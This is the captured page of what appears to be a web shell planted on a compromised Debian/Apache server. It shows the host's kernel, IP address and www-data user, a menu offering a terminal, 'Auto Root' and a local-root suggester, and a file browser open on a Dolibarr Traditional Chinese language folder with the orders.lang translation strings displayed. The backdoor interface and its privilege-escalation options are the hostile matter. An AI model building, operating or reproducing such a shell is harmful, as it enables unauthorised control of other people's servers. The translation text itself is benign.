Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
btm2000.bak /
langs /
zh_TW /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
16.13
KB
-rw-r--r--
2025-11-25 13:23
admin.lang
115.08
KB
-rw-r--r--
2025-11-25 13:23
agenda.lang
5.85
KB
-rw-r--r--
2025-11-25 13:23
banks.lang
6.45
KB
-rw-r--r--
2025-11-25 13:23
bills.lang
28.37
KB
-rw-r--r--
2025-11-25 13:23
bookmarks.lang
800
B
-rw-r--r--
2025-11-25 13:23
boxes.lang
4.28
KB
-rw-r--r--
2025-11-25 13:23
cashdesk.lang
1.06
KB
-rw-r--r--
2025-11-25 13:23
categories.lang
4.23
KB
-rw-r--r--
2025-11-25 13:23
commercial.lang
3.04
KB
-rw-r--r--
2025-11-25 13:23
companies.lang
14.9
KB
-rw-r--r--
2025-11-25 13:23
compta.lang
14.47
KB
-rw-r--r--
2025-11-25 13:23
contracts.lang
4.47
KB
-rw-r--r--
2025-11-25 13:23
cron.lang
4.46
KB
-rw-r--r--
2025-11-25 13:23
deliveries.lang
1.11
KB
-rw-r--r--
2025-11-25 13:23
dict.lang
8.56
KB
-rw-r--r--
2025-11-25 13:23
donations.lang
1.32
KB
-rw-r--r--
2025-11-25 13:23
ecm.lang
2.46
KB
-rw-r--r--
2025-11-25 13:23
errors.lang
20.76
KB
-rw-r--r--
2025-11-25 13:23
exports.lang
8.57
KB
-rw-r--r--
2025-11-25 13:23
externalsite.lang
256
B
-rw-r--r--
2025-11-25 13:23
ftp.lang
796
B
-rw-r--r--
2025-11-25 13:23
help.lang
1.56
KB
-rw-r--r--
2025-11-25 13:23
holiday.lang
5.3
KB
-rw-r--r--
2025-11-25 13:23
hrm.lang
555
B
-rw-r--r--
2025-11-25 13:23
install.lang
15.97
KB
-rw-r--r--
2025-11-25 13:23
interventions.lang
3.38
KB
-rw-r--r--
2025-11-25 13:23
languages.lang
2.66
KB
-rw-r--r--
2025-11-25 13:23
ldap.lang
1.29
KB
-rw-r--r--
2025-11-25 13:23
link.lang
449
B
-rw-r--r--
2025-11-25 13:23
loan.lang
1.08
KB
-rw-r--r--
2025-11-25 13:23
mailmanspip.lang
1.49
KB
-rw-r--r--
2025-11-25 13:23
mails.lang
9.31
KB
-rw-r--r--
2025-11-25 13:23
main.lang
26.23
KB
-rw-r--r--
2025-11-25 13:23
margins.lang
2.69
KB
-rw-r--r--
2025-11-25 13:23
members.lang
10.53
KB
-rw-r--r--
2025-11-25 13:23
modulebuilder.lang
8.05
KB
-rw-r--r--
2025-11-25 13:23
oauth.lang
1.75
KB
-rw-r--r--
2025-11-25 13:23
opensurvey.lang
3.16
KB
-rw-r--r--
2025-11-25 13:23
orders.lang
6.78
KB
-rw-r--r--
2025-11-25 13:23
other.lang
12.52
KB
-rw-r--r--
2025-11-25 13:23
paybox.lang
2.4
KB
-rw-r--r--
2025-11-25 13:23
paypal.lang
2.03
KB
-rw-r--r--
2025-11-25 13:23
printing.lang
2.33
KB
-rw-r--r--
2025-11-25 13:23
productbatch.lang
1.21
KB
-rw-r--r--
2025-11-25 13:23
products.lang
16.11
KB
-rw-r--r--
2025-11-25 13:23
projects.lang
11.52
KB
-rw-r--r--
2025-11-25 13:23
propal.lang
3.86
KB
-rw-r--r--
2025-11-25 13:23
receiptprinter.lang
1.79
KB
-rw-r--r--
2025-11-25 13:23
resource.lang
1.18
KB
-rw-r--r--
2025-11-25 13:23
salaries.lang
1.07
KB
-rw-r--r--
2025-11-25 13:23
sendings.lang
3.09
KB
-rw-r--r--
2025-11-25 13:23
sms.lang
1.58
KB
-rw-r--r--
2025-11-25 13:23
stocks.lang
10.85
KB
-rw-r--r--
2025-11-25 13:23
stripe.lang
3.83
KB
-rw-r--r--
2025-11-25 13:23
supplier_proposal.lang
2.66
KB
-rw-r--r--
2025-11-25 13:23
suppliers.lang
2.04
KB
-rw-r--r--
2025-11-25 13:23
trips.lang
6.77
KB
-rw-r--r--
2025-11-25 13:23
users.lang
4.76
KB
-rw-r--r--
2025-11-25 13:23
website.lang
7.39
KB
-rw-r--r--
2025-11-25 13:23
withdrawals.lang
6.32
KB
-rw-r--r--
2025-11-25 13:23
workflow.lang
2.34
KB
-rw-r--r--
2025-11-25 13:23
Save
Rename
# Dolibarr language file - Source file is en_US - orders OrdersArea=客戶訂單面積 SuppliersOrdersArea=Purchase orders area OrderCard=訂單資訊 OrderId=訂單編號 Order=訂單 PdfOrderTitle=訂單 Orders=訂單 OrderLine=在線訂單 OrderDate=訂購日期 OrderDateShort=訂購日期 OrderToProcess=Order to process NewOrder=建立新訂單 ToOrder=製作訂單 MakeOrder=製作訂單 SupplierOrder=Purchase order SuppliersOrders=採購訂單 SuppliersOrdersRunning=Current purchase orders CustomerOrder=客戶訂單 CustomersOrders=客戶訂單 CustomersOrdersRunning=當前客戶訂單 CustomersOrdersAndOrdersLines=Customer orders and order lines OrdersDeliveredToBill=Customer orders delivered to bill OrdersToBill=Customer orders delivered OrdersInProcess=Customer orders in process OrdersToProcess=Customer orders to process SuppliersOrdersToProcess=Purchase orders to process StatusOrderCanceledShort=已取消 StatusOrderDraftShort=草案階段 StatusOrderValidatedShort=驗證階段 StatusOrderSentShort=在過程 StatusOrderSent=Shipment in process StatusOrderOnProcessShort=Ordered StatusOrderProcessedShort=處理完畢 StatusOrderDelivered=等待帳單 StatusOrderDeliveredShort=等待帳單 StatusOrderToBillShort=等待帳單 StatusOrderApprovedShort=核準 StatusOrderRefusedShort=拒絕 StatusOrderBilledShort=帳單 StatusOrderToProcessShort=要處理 StatusOrderReceivedPartiallyShort=部分收到 StatusOrderReceivedAllShort=Products received StatusOrderCanceled=取消 StatusOrderDraft=草案(等待驗證) StatusOrderValidated=驗證階段 StatusOrderOnProcess=Ordered - Standby reception StatusOrderOnProcessWithValidation=Ordered - Standby reception or validation StatusOrderProcessed=處理完畢 StatusOrderToBill=等待帳單 StatusOrderApproved=已核準 StatusOrderRefused=已拒絕 StatusOrderBilled=帳單 StatusOrderReceivedPartially=部分收到 StatusOrderReceivedAll=All products received ShippingExist=A貨存在 QtyOrdered=訂購數量 ProductQtyInDraft=Product quantity into draft orders ProductQtyInDraftOrWaitingApproved=Product quantity into draft or approved orders, not yet ordered MenuOrdersToBill=訂單To帳單 MenuOrdersToBill2=可結算訂單 ShipProduct=船舶產品 CreateOrder=創建訂單 RefuseOrder=拒絕訂單 ApproveOrder=批准訂單 Approve2Order=Approve order (second level) ValidateOrder=驗證訂單 UnvalidateOrder=未驗證訂單 DeleteOrder=刪除訂單 CancelOrder=取消訂單 OrderReopened= Order %s Reopened AddOrder=創建訂單 AddToDraftOrders=Add to draft order ShowOrder=顯示訂單 OrdersOpened=Orders to process NoDraftOrders=No draft orders NoOrder=No order NoSupplierOrder=No purchase order LastOrders=最新%s個客戶訂單 LastCustomerOrders=最新%s個客戶訂單 LastSupplierOrders=Latest %s purchase orders LastModifiedOrders=Latest %s modified orders AllOrders=所有的訂單 NbOfOrders=訂單號碼 OrdersStatistics=訂單統計 OrdersStatisticsSuppliers=Purchase order statistics NumberOfOrdersByMonth=按月份訂單數 AmountOfOrdersByMonthHT=Amount of orders by month (net of tax) ListOfOrders=訂單列表 CloseOrder=關閉命令 ConfirmCloseOrder=Are you sure you want to set this order to deliverd? Once an order is delivered, it can be set to billed. ConfirmDeleteOrder=Are you sure you want to delete this order? ConfirmValidateOrder=Are you sure you want to validate this order under name <b>%s</b>? ConfirmUnvalidateOrder=Are you sure you want to restore order <b>%s</b> to draft status? ConfirmCancelOrder=Are you sure you want to cancel this order? ConfirmMakeOrder=Are you sure you want to confirm you made this order on <b>%s</b>? GenerateBill=生成發票 ClassifyShipped=已發貨 DraftOrders=草案訂單 DraftSuppliersOrders=Draft purchase orders OnProcessOrders=處理中的訂單 RefOrder=訂單號碼 RefCustomerOrder=Ref. order for customer RefOrderSupplier=Ref. order for vendor RefOrderSupplierShort=Ref. order vendor SendOrderByMail=為了通過郵件發送 ActionsOnOrder=採購過程中的事件記錄 NoArticleOfTypeProduct=任何類型的產品文章',以便對這一秩序shippable文章 OrderMode=訂購方法 AuthorRequest=發起者 UserWithApproveOrderGrant=被授予核准權限的用戶 PaymentOrderRef=清繳秩序% CloneOrder=複製訂單 ConfirmCloneOrder=Are you sure you want to clone this order <b>%s</b>? DispatchSupplierOrder=接收供應商的訂單%s FirstApprovalAlreadyDone=First approval already done SecondApprovalAlreadyDone=Second approval already done SupplierOrderReceivedInDolibarr=Purchase Order %s received %s SupplierOrderSubmitedInDolibarr=Purchase Order %s submited SupplierOrderClassifiedBilled=Purchase Order %s set billed OtherOrders=其他命令 ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=代替客戶下單 TypeContact_commande_internal_SHIPPING=代替客戶寄送 TypeContact_commande_external_BILLING=客戶 Invoice 聯絡人 TypeContact_commande_external_SHIPPING=客戶 Shipping 聯絡人 TypeContact_commande_external_CUSTOMER=客戶訂單聯絡人 TypeContact_order_supplier_internal_SALESREPFOLL=Representative following-up purchase order TypeContact_order_supplier_internal_SHIPPING=利用貨運方式 TypeContact_order_supplier_external_BILLING=Vendor invoice contact TypeContact_order_supplier_external_SHIPPING=Vendor shipping contact TypeContact_order_supplier_external_CUSTOMER=Vendor contact following-up order Error_COMMANDE_SUPPLIER_ADDON_NotDefined=常COMMANDE_SUPPLIER_ADDON沒有定義 Error_COMMANDE_ADDON_NotDefined=常COMMANDE_ADDON沒有定義 Error_OrderNotChecked=No orders to invoice selected # Order modes (how we receive order). Not the "why" are keys stored into dict.lang OrderByMail=郵件 OrderByFax=傳真 OrderByEMail=電子郵件 OrderByWWW=網頁 OrderByPhone=電話 # Documents models PDFEinsteinDescription=可產生一份完整的訂單範本(logo. ..) PDFEdisonDescription=可產生一份簡單的訂單範本 PDFProformaDescription=A complete proforma invoice (logo…) CreateInvoiceForThisCustomer=Bill orders NoOrdersToInvoice=No orders billable CloseProcessedOrdersAutomatically=Classify "Processed" all selected orders. OrderCreation=Order creation Ordered=Ordered OrderCreated=Your orders have been created OrderFail=An error happened during your orders creation CreateOrders=Create orders ToBillSeveralOrderSelectCustomer=To create an invoice for several orders, click first onto customer, then choose "%s". OptionToSetOrderBilledNotEnabled=Option (from module Workflow) to set order to 'Billed' automatically when invoice is validated is off, so you will have to set status of order to 'Billed' manually. IfValidateInvoiceIsNoOrderStayUnbilled=If invoice validation is 'No', the order will remain to status 'Unbilled' until the invoice is validated. CloseReceivedSupplierOrdersAutomatically=Close order to "%s" automatically if all products are received. SetShippingMode=Set shipping mode